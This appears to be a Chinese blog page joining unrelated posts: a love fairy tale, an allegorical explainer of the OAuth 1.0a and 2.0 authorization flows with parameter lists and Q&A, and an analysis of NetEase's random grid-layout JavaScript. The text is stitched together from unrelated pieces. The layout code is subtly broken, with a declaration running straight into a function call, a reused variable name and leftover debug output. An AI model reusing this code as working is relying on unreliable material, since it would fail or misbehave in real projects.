织梦人喜欢在夜里漫游，但没人知道这其中的原因。织梦人知道原因，但他想说出来时，都被人们当作了梦中的呓语。他走路平稳缓慢，仿佛一阵风在缓缓掠过，当午夜的百里香随月光四起，茫茫星图在诉说心事之时，织梦人将脚步放到最慢，独享这静美的时光。他走呀走，等到快要走到夜的尽头，他总会留下一张巨大的梦，像被子一样铺展到人们身上，就此隐去行踪。他是夜的行者，也是梦的主人。

塘边的一隅花影重重，那是他时常流连的所在，而他喜欢的她，则是这里最美的花仙。短暂的花期使得告白计划略显仓促，而这又是他唯一的机会——七天后随鲜花零落，花仙们将飘散远方，寻找新的花海。织梦人将绵延的情绪写成诗，再编织成了七张有声音的梦。于是在仙子的梦中…

第一天。他带她听善解人意的雨水，那些叮咚的声响，他说这是春天的表白。
第二天。他轻捂她的耳，说这是风的吟唱，正在撩拨开夜的黑发。
第三天。他们听到压迫着大地的节奏，那是四处奔跑的小鹿，源源的活力在土地的经脉游走。
第四天。他们听见瑟缩的微动，不知是竹子的拔节，还是彼此的心跳？
第五天。他让雷声奔流，告诉她需要乐观与勇敢。
第六天。他告诉她，月亮在乌云中钻出来时，也会有调皮的笑声。
第七天。他让她听到了自己的声音：我爱你…

静心设计的表白似乎没有给织梦人带来收获，因为花仙在第二天醒来后，就会忘掉昨日的梦。而不善表达的他，仍然不敢在真实的世界勇敢一次。花仙梦醒时的明媚笑容与织梦人的落寞相映成殇。而就在花仙们离去的黄昏，她却留了下来，她寻到了他，问：趁玫瑰还没凋谢，能替我摘一朵吗？惊喜与不解冲昏了头脑，糊涂的织梦人来不及思考其中的原因——原来慌乱中第七张梦被遗落在家里，第七天的事情是真实的经历。花仙说，无数个梦，不如一个真实的你。从此，织梦人不再织梦。

——litten 2013.09.10 讲两个爱情故事给谁听？

那些简单的故事，就别用复杂的方式传诵

##【让我来讲几个故事吧】

从前，有只老兔子，在仓库里存了一万根胡萝卜，作为给小兔子的遗产。而后他就去周游世界了。小兔子有天想去把萝卜拿出来，却被仓库外的一只兔子拦住了。一问才知道，这是老兔子安排的仓库守卫。和所有故事中的守护者一样，他正直而古板，八字眉下面有着睡眠不足的熊猫眼，世人一般称他为兔门神。兔子想要拿到萝卜，就得说服兔门神呀，于是他走了上前…

##【兔子与OAuth1.0的故事】

1. 兔子首先得证明自己是只兔子，不是狗熊也不是狼，于是他向兔门神出示了身份证
2. 兔门神说：哦，你是只兔子。但你还得证明你是老兔子的兔崽子呀。兔子说我爸旅游去了，怎么证明呢？兔门神说，这样吧，我把你的身份证拍下来，发送给你爸，让他看下这是不是你。于是兔门神打开了微信……
3. 正在休假的老兔子看了下照片，回复说证件照好难看毁三观啊，但勉强认得出这货就是我儿子
4. 兔门神确认这信息后，说，你老爸还是认你这个儿子的
5. 兔子问，那我可以去拿胡萝卜了没？
6. 兔门神说，可以了，这样吧，我发你个通行证，以后拿这个来我就不用这么麻烦了。

##【兔子与OAuth1.0a的故事】

这种貌似天衣无缝的形式，却被一只坏兔子看出了破绽。他注意到一个细节，在最后的一步，兔门神都是习惯性的把通行证交给了面前的兔子,而不管这只兔子是不是当初的那只。于是，坏兔子趁兔门神正在和老兔子聊微信的时候，一个劲站在了兔子前面，最后兔门神居然把通行证塞给了他！这怎么可以？于是在第一步和第六步又有了修改。

1. 兔子出示身份证的同时，也出示了自己的私房照，说，门神大哥呀，后面你记得把通行证给照片上的帅哥！
2. ……
3. ……
4. ……
5. ……
6. 兔门神看了下面前的兔子，私房照上的明显P过嘛但勉强认得出是本人，于是才交出了通行证

##【兔子与Oauth2.0的故事】

兔门神回家后，向他的老婆兔女神汇报了今天的工作，更安全的方案使他得意洋洋，没想到被兔女神骂了一顿。兔女神说，兔子证明自己还得带个身份证，你不知道在天朝办个身份证多麻烦吗？让小兔子跟老兔子去聊下微信就可以了干嘛要你插手？兔门神哑口无言，兔女神高贵冷艳的说我有四种方案，给你先说说最常用的一种吧。

1. 兔子一开始就跟他老爸聊微信了。当然他得明确告诉老爸，他需要打开哪个仓库（因为老兔子有很多儿子，每个儿子去拿萝卜的仓库不一样，兔子要指定一下具体是哪个，问他可不可以）
2. 老兔子回复说：“just do IT”…
3. 兔子然后去拿胡萝卜，首先被兔女神拦住了。女神告诉他，你要给我四样东西：老兔子的回复，你的私房照，身份证，还要给我一个密码。兔子愣愣的想了个密码，把这四样东西交了过去
4. 兔女神把这四种东西混在一起，用魔法变出了两件法宝：一封情书和一撮猴子毛…然后她解释说：拿着我的情书去找我老公，他就让你进仓库了；但是这情书会过期，是出于安全考虑啦，过期后你得召唤我再写一封，召唤出我的步骤就是吹一下猴子毛，像孙悟空那样你就别在意这些细节好伐？
5. 兔子拿着情书去找兔门神时，发现他由于被妻子分担了压力，明显睡眠好多了…

##【演员表】

兔子-消费者，也就是第三方应用
老兔子-用户，也就是我们，记住，我们永远是第三方的亲爹
仓库-Oauth提供者，这里有我们保存的资料，比如说新浪微博，qq空间，人人…
兔门神-在前两个故事中，由授权服务器和资源服务器共同扮演，在最后的故事中，只由资源服务器扮演
兔女神-授权服务器，只管授权，不管取资源

##【重要道具】

身份证-签名，将一个http请求以及相应参数字符串化
拍下的身份证照片-Request Token，服务器进行认证
通行证-Access Token，获取资源的凭证
私房照-重定向地址
坏兔子(我把它当成道具而不是演员)-重定向地址劫持
仓库的名称-appId,即对应具体哪个第三方
just do it-Auth code，用户授权号
第三个故事的身份证-client id 客户端帐号
密码-client secret 客户端密码
魔法-将client id，client secket，重定向地址，Auth code生成Access Token
情书-Access Token，获取资源的凭证
猴子毛-Refresh Token，用来在Access Token过期后将其刷新，刷新需带上client id和client secret

##【说书人说】

Oauth2.0比起Oauth1.0，没有了第一步的签名，将服务器分开为授权服务器与资源服务器。这是最大的两个特征。开放平台必须得做到对第三方友好，才有利于接入。像Oauth1.0签名的操作，就难倒了许多第三方。也许你知道了Oauth2.0接入步骤简化了些，但也知道其内部实现要更复杂，抛去安全方面的考虑，我认为这是正确的方向。因为，Oauth2.0在某种意义上说，向第三方做到了——“把悲伤留给自己，你的美丽让你带走”。

OAuth 1.0a：One Leg ->Two Leg -> Three Legged
OAuth 2:Two Leg ->Three Legged (附：Refresh Token的方式)

这两种模式都是按箭头从左往右安全性递增，其实现也会相对复杂。关于官方的这种leg（腿？）的说法，在中文翻译中比较少有文章提及。下面分别来介绍OAuth的这5种授权流程。

##二、OAuth1.0a
2.1 OAuth 1.0a (One Leg)

1. 应用给服务器发送一个签名请求，附带以下参数：
   • oauth_token Empty String
   • oauth_consumer_key
   • oauth_timestamp
   • oauth_nonce
   • oauth_signature
   • oauth_signature_method
   • oauth_version Optional
2. 服务验证并授予对资源的访问
3. 应用程序利用请求的资源

2.2 OAuth 1.0a (Two Legs)

1. 应用发送一个签名请求，以获取 Request Token：
   • oauth_consumer_key
   • oauth_timestamp
   • oauth_nonce
   • oauth_signature
   • oauth_signature_method
   • oauth_version Optional
2. 服务器返回Request Token：
   • oauth_token
   • oauth_token_secret
   • Additional Parameters / Arguments
3. 发送签名请求，用Request Token换取Access Token
   • oauth_token Request Token
   • oauth_consumer_key
   • oauth_nonce
   • oauth_signature
   • oauth_signature_method
   • oauth_version
4. 服务器返回Access Token和Token Secret
5. 应用通过Access Token和Token Secret利用请求的资源

2.3 OAuth 1.0a (Three Legged)

1. 应用发送一个签名请求，以获取 Request Token：
   • oauth_consumer_key
   • oauth_timestamp
   • oauth_nonce
   • oauth_signature
   • oauth_signature_method
   • oauth_version Optional
2. 服务器返回Request Token：
   • oauth_token
   • oauth_token_secret
   • oauth_callback_confirmed
   • … Additional Parameters / Arguments
3. 发送给用户授权的URL
   • oauth_token
4. 提示用户进行授权
5. 用户进行授权
6. 授权结束后返回应用，附带上：
   • oauth_token
   • oauth_verifier
7. 发送签名请求，用Request Token换取Access Token
   • oauth_token Request Token
   • oauth_consumer_key
   • oauth_nonce
   • oauth_signature
   • oauth_signature_method
   • oauth_version
   • oauth_verifier
8. 服务器返回Access Token和Token Secret
9. 应用通过Access Token和Token Secret利用请求的资源

##三、OAuth2

3.1 OAuth 2 (Two Legged)

3.1.1 客户端凭据方式

1. 应用发送请求到服务器：
   • grant_type = client_credentials
     如果没有使用Authorization（Authorization: Basic Base64(client_id:client_secret)） 的header，必须附带参数为：
   • client_id
   • client_secret
2. 服务器以Access Token回应
   • access_token
   • expires_in
   • token_type

3.1.2 隐式授予方式

1. 应用发送请求到服务器：
   • response_type = token
   • redirect_uri This is a server-side Redirection URI hosted by the provider or yourself.
   • scope
   • state Optional
   • client_id
2. 用户可根据需要授权。
   • username
   • password
3. 服务器将响应包含access_token在内的redirect_uri
4. 应用程序跳转至redirect_uri
5. redirect_uri将响应一段脚本或HTML片段。响应的脚本或HTML片段包含参数access_token，还有您可能需要的任何其他参数。

3.1.3 资源所有者密码方式

1. 应用向资源所有者请求凭证
   • username
   • password
2. 应用使用凭证，向服务器发送请求
   • grant_type = password
   • username
   • password
     url看起来会像这样：grant_type=password&username=my_username&password=my_password
     如果你没有使用Authorization的header，必须附带上参数：
   • client_id
   • client_secret
     url看起来会像是：
     grant_type=password&username=my_username&password=my_password&client_id=random_string&client_secret=random_secret
3. 服务器返回Access Toke
   • access_token
   • expires_in
   • token_type

3.2 OAuth 2 (Three Legged)

1. 应用重定向用户到授权服务：
   • client_id
   • redirect_uri
   • response_type
   • state Optional; Unique identifier to protect against CSRF
   • scope Optional; what data your application can access.
     url看起来会像是：
     oauth_service/login/oauth/authorize?client_id=3MVG9lKcPoNINVB&redirect_uri=http://localhost/oauth/code_callback&scope=user
2. 用户登录服务器并确认授权给应用
3. 服务器重定向用户到redirect_url ，附带参数：
   • code
   • state
4. 应用拿到code，并换取Access Token
   • client_id
   • client_secret
   • code
   • redirect_uri Optional;
   • grant_type = “authorization_code”
5. 如果的client_id和client_secret是有效的，服务器将调用一个回调redirect_url，包含ACCESS_TOKEN
   • access_token
   • expires_in
   • refresh_token
6. 应用保存ACCESS_TOKEN，在随后的请求中使用。通常这个值被存储在session或或cookie，需要时作为授权请求的参数。

3.3 OAuth 2 (Refresh Token 刷新token)

在OAuth2中，Token会有过期时间，我们必须去refresh_token，使用其他一些先前获得的参数，生成一个新的token。这是一个容易得多的流程。

1. 创建刷新令牌请求
   • grant_type = “refresh_token”
   • scope Optional; Cannot have any new scopes not previously defined.
   • refresh_token
   • client_id
   • client_secret
2. 服务验证和响应以下参数：
   • access_token
   • issued_at

##四、stackoverflow上的一些问答

Q：OpenID和OAuth的区别是什么？
A：OpenID是有关身份验证（即证明你是谁），OAuth有关授权（即授予访问权限），推荐博文：从用户的角度来看OpenID和OAuth

Q：OAuth2与OAuth1不同的地方是？有人可以简单的解释的OAuth2和OAuth1之间的区别吗？ OAuth1现在已经过时，应实施的OAuth2？我没有看到许多实现的OAuth2，大多数仍在使用OAuth，这让我怀疑的OAuth2的准备使用。是吗？
A：OAuth2能更好地支持不是基于浏览器的应用。对于不是基于浏览器的应用程序，这是对OAuth的主要挑战。例如，在OAuth1.0，桌面应用或手机应用必须引导用户打开浏览器所需的服务，与服务进行身份验证，并复制令牌从服务返回给应用程序。这里的主要批评是针对用户体验。使用OAuth2.0，可以用新的方式为用户的应用程序获得授权。
OAuth2.0不再需要客户端应用程序拥有密钥。这让人回想起老的Twitter认证的API，它并不需要应用得到HMAC哈希令牌和请求字符串。使用OAuth2.0，应用程序可以通过HTTPS获得令牌。
OAuth2.0的签名流程简单得多。没有更多的特殊解析，排序，或编码。
OAuth2.0的访问令牌是“短命”的。通常情况下，OAuth1.0的访问令牌可以存储一年或一年以上（Twitter从来没有让他们到期）。 OAuth的2.0有刷新令牌的概念。虽然我不能完全肯定这是什么意思，我的猜测是，您的访问令牌可以是短暂存储的（即基于会话），而你可以刷新令牌。你使用刷新令牌获取新的访问令牌，而不是让用户重新授权您的应用程序。
最后，OAuth2.0使得负责处理的OAuth请求的服务器和处理用户的授权服务器之间的角色有一个干净的分离。更多信息，在上述的文章中详述。

Q：OAuth2服务器群怎么使用state来防范CSRF？
A：state只是一个随机的字符串，可以做这样的事情：$state = md5(uniqid(rand(), TRUE));在session中记录satate，以便稍后你能做验证。一些额外的资料：OAuth2威胁文件模型，特别CSRF保护

网易聚合阅读的出现的确让人惊艳了一下。流畅的交互,使碎片化的新闻资讯像报纸一样摊在眼前,这是信息大爆炸的时代产物。不管你能不能接受这种新阅读形式，事实上，每天越来越多的新闻层出不穷，还没被人看到就已成为了“旧闻”。回归报纸的版面设计，堆叠新闻模块，让用户告别一条接一条整齐的新闻链接，而是在一个版面上提供更多的信息，不失为一种尝试。

而抛去产品的层面，从前端方向来看，“聚合阅读”也有许多值得学习的地方。这几天研究了一下源码，谈谈它随机布局的实现，以及一些优化的措施。

##demo

点击按钮可以改变布局：

##一.怎样定义格子对象

每个格子对象，都至少应该有这5个属性：

• left：距离左边界的位置
• top：距离上边界的位置
• width：格子宽度
• height：格子高度
• background：格子颜色

逐个去定义对象无疑是愚蠢的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function Block(o){
return{
left: o.left,
top: o.top,
width: o.width,
height: o.height,
bg: o.bg
}
}
var block1 = new Block({
left: 0,
top: 0,
width: 50,
height: 50,
bg: "#3f3"
});
var block2 = …
…
var block37 = …

这样不仅不利于后期维护，而且构造格子的嵌套关系也相对麻烦。

网易的做法是使用“交替切割”的方式来做：

1. 将大块先切成两列。
2. 左列（红色部分）再切成三行，右列（褐，黄，蓝部分）也切成三行。
3. 对形成的6个小块，再进行列的切割

整个做法就是“列-行-列-行-……”这样的交替切割。所以它的对象是这样设置的,其中random属性可以约定同级的cols或rows是否可以随机变换位置，width和height的值是规定一个父级块的分割比例。其设置的形式例如（例子与demo的设定无关）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

window.tagConfig.pageLayout = {
top: 0,
left: 0,
width: 100,
height: 100,
random: !1,
cols: [{
width: 30,
rows: [{
height: 40,
cols: [{
width: 30,
rows:[{
height:100
}]
},{
width: 70,
rows:[{
height:100
}]
}]
},
{
height: 30
},{
height: 30
}]
},{
width: 70,
rows:[{
height:100
}]
}]
}

##二.递归调用切割函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function _getGrids(tag) {
/*domArr是拥有left,top,width,height,bg等属性的所有dom数组，_getGrids的最终目的就是生成这个数组*/
var domArr = [],
_cutGrid(tag.pageLayout,
function(tag) {
if (tag.rows || tag.cols) {
/*假如子级存在rows或者cols，则递归切割*/
_cutGrid(tag, arguments.callee);
}
else {
/*子级不存在rows或者cols，不再进行切割，构造domArr*/
…
domArr.push(xxx)
…
}
}
);
return domArr;
}

##三.切割函数

切割函数挺有意思的，下次想再用一篇文章来详细写一下，在这里仅贴出参考的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

/*对象复制函数*/
function _shadowClone(e) {
var t = {};
for (var n in e) e.hasOwnProperty(n) && (t[n] = e[n]);
return t;
}

/*判断子块随机布局与否*/
(function() {
function ranOrNot(e, t) {
var n = [];
typeof t == "undefined" && (t = e, e = 0);
for (; e < t; e++) n.push(e);
return n
}
/*随机布局*/
Array.prototype.randomEach = function(t) {
console.log(3);
if (typeof t != "function") throw new TypeError;
var n = this.length,
r = ranOrNot(n);
while (n) {
var i = Math.floor(Math.random() * n--);
if (t(this[r[i]]) === !1) break;
r[i] = r[n]
}
},
/*常规布局*/
Array.prototype.forEach || (Array.prototype.forEach = function(e) {
var t = this.length;
if (typeof e != "function") throw new TypeError;
var n = arguments[1];
for (var r = 0; r < t; r++) r in this && e.call(n, this[r], r, this)
})
} )();

/*切割函数*/
function _cutGrid(tag, funcJudge) {
function a(a) {
function h(cutLength) {
/*复制子块对象并计算出子块top,left*/
var u, a = _shadowClone(cutLength);
c++,
u = c === l ? tag[cutType2.measure] - s: Math.floor(cutLength[cutType2.measure] * tag[cutType2.measure] / 100),
a[cutType1.offset] = i + tag[cutType1.offset],
a[cutType2.offset] = s + tag[cutType2.offset],
a[cutType1.measure] = f,
a[cutType2.measure] = u,
a.colorPattern = tag.colorPattern,
/*判断小块是否还需要分割*/
funcJudge(a),
s += u
}
var f, l = a[cutType2.name].length,
c = 0;
u++,
f = u === cutLength ? tag[cutType1.measure] - i: Math.floor(a[cutType1.measure] * tag[cutType1.measure] / 100),
a.random === !1 ? a[cutType2.name].forEach(h) : a[cutType2.name].randomEach(h),
s = 0,
i += f
}
/*根据大块是否有rows属性，定义两种切割方式*/
var cutType1, cutType2;
tag.rows ? (cutType1 = {
name: "rows",
measure: "height",
offset: "top"
},
cutType2 = {
name: "cols",
measure: "width",
offset: "left"
}) : (cutType1 = {
name: "cols",
measure: "width",
offset: "left"
},
cutType2 = {
name: "rows",
measure: "height",
offset: "top"
});
var i = 0,
s = 0,
cutLength = tag[cutType1.name].length,
u = 0;
/*是否随机布局*/
tag.random === !1 ? tag[cutType1.name].forEach(a) : tag[cutType1.name].randomEach(a)
}